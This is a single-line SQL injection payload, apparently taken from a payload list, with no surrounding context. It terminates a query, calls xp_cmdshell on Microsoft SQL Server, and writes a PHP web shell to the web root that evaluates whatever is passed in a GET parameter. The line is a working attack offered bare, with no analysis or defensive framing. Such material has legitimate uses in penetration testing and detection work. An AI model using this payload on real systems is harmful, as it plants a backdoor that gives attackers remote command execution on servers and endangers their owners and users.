; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--